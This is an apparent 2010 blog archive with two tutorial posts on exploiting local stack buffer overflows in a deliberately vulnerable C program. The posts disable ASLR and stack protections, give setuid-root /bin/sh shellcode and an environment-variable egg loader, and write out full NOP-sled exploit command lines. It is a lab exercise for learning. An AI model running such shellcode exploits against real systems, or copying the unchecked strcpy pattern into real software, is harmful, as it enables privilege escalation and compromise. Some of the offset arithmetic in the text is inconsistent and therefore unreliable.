Showing posts with label bof. Show all posts
Showing posts with label bof. Show all posts

Tuesday, September 7, 2010

More buffer overflows on the easy.

In my last BOF post i showed a slick way to do a local buffer overflow and how to do it with a really small buffer. This time we will work with a nice big buffer like 400 chars long. Like before lets get our environment ready, we can start by turning off address space randomization:

echo 0 > /proc/sys/kernel/randomize_va_space


Last time we saw how to use core dumps, lets enable them again. Now we need a app:

BOF2.c
#include < stdio.h >
#include < string.h >

int main (int argc, char** argv)
{
char buffer [400];
strcpy(buffer, argv [1]);
printf("sent to buffer: %s \n", buffer);
return 0;
}


And we compile it like so:

gcc -z execstack -g -o BOF2 -fno-stack-protector -mpreferred-stack-boundary=2 BOF2.c


Yes this is the same app as before but with a much bigger buffer now lets run a few tests and see just how much room we have to work with.

./BOF2 `perl -e 'print "A" x 402'`


Ok everything is normal lets try:

./BOF2 `perl -e 'print "A" x 404'`


Oh we get a seg fualt and a core dump, when we load that up in gdb and look at the registars we see we overwrote all of ebp with 41's So we know from last time eip is only 4 spaces chars away making our total buffer size 408, but lets test that out:

./BOF2 `perl -e 'print "A" x 408'`


Again we seg fualt and when we open the core dump in gdb and inspect the registars we see we can control eip. :D Ok so now we need to get the address of esp so we can get our attack vector. We do this like so:

gdb -q BOF2


then we need insert a line break at our point of BoF, in our app its line 7. So enter this command:

b 7


Then run a little test so we can get esps address:

run test


Now when the app hits out line break it should stop running and give us a chance to look at a few things like register addresses. We do that with the "i r" command. We should have something like this:

Breakpoint 1, main (argc=2, argv=0xbffffd24) at BOF2.c:7
7 strcpy(buffer, argv [1]);
(gdb) i r
eax 0xbffffd24 -1073742556
ecx 0xbe3b369c -1103415652
edx 0x2 2
ebx 0xb7fd8ff4 -1208119308
esp 0xbffffb00 0xbffffb00
ebp 0xbffffc98 0xbffffc98
esi 0xb7ffece0 -1207964448
edi 0x0 0
eip 0x804839d 0x804839d
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


And there you have it, esp is at 0xbffffb00, now lets subtract 300 from that to get our target address "attack address". We do that with this command:


printf "%x\n" $((0xbffffb00-200))


Which should give us "bffffa38"
Now we need some shell code, but lucky us we can just use the same stuff we used last time. Its time for some math

Our buffer it 408 chars long.
-We will want to use at lest 200 chars for a NOP sled.
------------
208
-Our shell code (28)
------------
Ok we are left with 180 chars to fill up, so to make sure we get the right address in eip we will just fill it up with our attack address (bffffa38) Now eip is 4 chars long so lets take 180/4 which gives us 45. So we need to repeat bffffa38 45 times in little endian format and hex it.

So our end result shoule look something like this:

`perl -e 'print "\x90" x 200'``printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"``perl -e 'print "\x38\xfa\xff\xbf" x 45'`


This part is the NOP sled:
`perl -e 'print "\x90" x 200'`


Here is our shell code:
`printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`


And here is our attack address being repeated:
`perl -e 'print "\x38\xfa\xff\xbf" x 45'`


Ok lets run this shit:

./BOF2 `perl -e 'print "\x90" x 200'``printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"``perl -e 'print "\x38\xfa\xff\xbf" x 45'`


If your 1337 you should now be at a new shell!! Ok later bitches.






Thursday, August 12, 2010

Buffer overflows on the easy.

So i started out on a little journey into buffer overflows on ubuntu and i thought i would take you with me :) First things first, we need to setup our environment and we start by opening a terminal and turning address space randomization off like so:

echo 0 > /proc/sys/kernel/randomize_va_space


Then we need to turn on core dumps:

ulimit -c unlimited


And now we are ready for our BOF app, here is the source we will be working with:

BOF.c
#include
#include

int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);
printf("sent to buffer: %s \n", buffer);
return 0;
}


Compile it with this string:

gcc -z execstack -g -o BOF -fno-stack-protector -mpreferred-stack-boundary=2 BOF.c


So all our program does is take what ever char string we pass to it, put it in a buffer and echo it back. Let try it out:

./BOF AAAA


Cool huh? Lets try to pass 14 "A"s to it and see what happens:

./BOF `perl -e 'print "A" x 14'`


Run that and you should see something like this returned:

Segmentation fault (core dumped)


Ok so now we have a core dump we can work with. Lets load it up:

gdb -c core ./BOF


Once at a prompt type "i r" and hit enter and you should see something like this:

eax 0x0 0
ecx 0xbffff3dc -1073744932
edx 0x414140fd 1094795517
ebx 0x287ff4 2654196
esp 0xbffff40c 0xbffff40c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x171286 0x171286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


Ok so we see we filled ebp up with 41's which is A in hex but our goal is to take over the eip pointer, so lets exit gdb and put a few more As in there.

./BOF `perl -e 'print "A" x 15'`


Now when we open gdb and run "i r" we get this:

eax 0x0 0
ecx 0xbffff3cc -1073744948
edx 0x289340 2659136
ebx 0x287ff4 2654196
esp 0xbffff400 0xbffff400
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x150041 0x150041
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


There we see we got one A into eip. So now we know that 14 "A"s will fill the stack up to eip so in all our string will be 18 chars long, 14 to fill up the stack, and 4 to take over eip. Now we just need something to put there, and i have just the thing:

eggshell.c
#include //dont forget brackets again
#define NOP 0x90 /* nops , we want to land here */

char shellcode[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80

/* This is not my shell code , I got it from milw0rm.com.
Its setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])
http://www.milw0rm.com/shellcode/1637
*/

int main(void)
{
char egg[512];
puts("loaded eggshell into env");
memset(egg,NOP,512);
memcpy(&egg[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", egg, 1);
putenv(egg);
system("/bin/bash");
return(0);
}



Now just compile that and run it to get it into memory. The main benefit with the method of pushing the shell code into a environment variable is that when dealing with small buffers we dont have to try to cram it all into it because its already in the memory at another location, more on that later. Now we need to make BOF seg fault again:

./BOF `perl -e 'print "A" x 18'`


Now open gdb so we can find out what address our egg shell was loaded to, we do that with this command:

x/s $esp


Now just hit enter until you see something like this:

0xbffff51c: "EGG=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\"


So now we have the address that our shell code was loaded to "0xbffff51c", all thats left is to chop off the leading 0x, reverse its order, and put it in hex formate giving us this "\x1c\xf5\xff\xbf", and push it into eip. So our BOF string will look like this:

./BOF `perl -e 'print "A" x 14'``printf "\x1c\xf5\xff\xbf"`


After running that you should be at a new shell xD There you have it, a BOF from start to finish.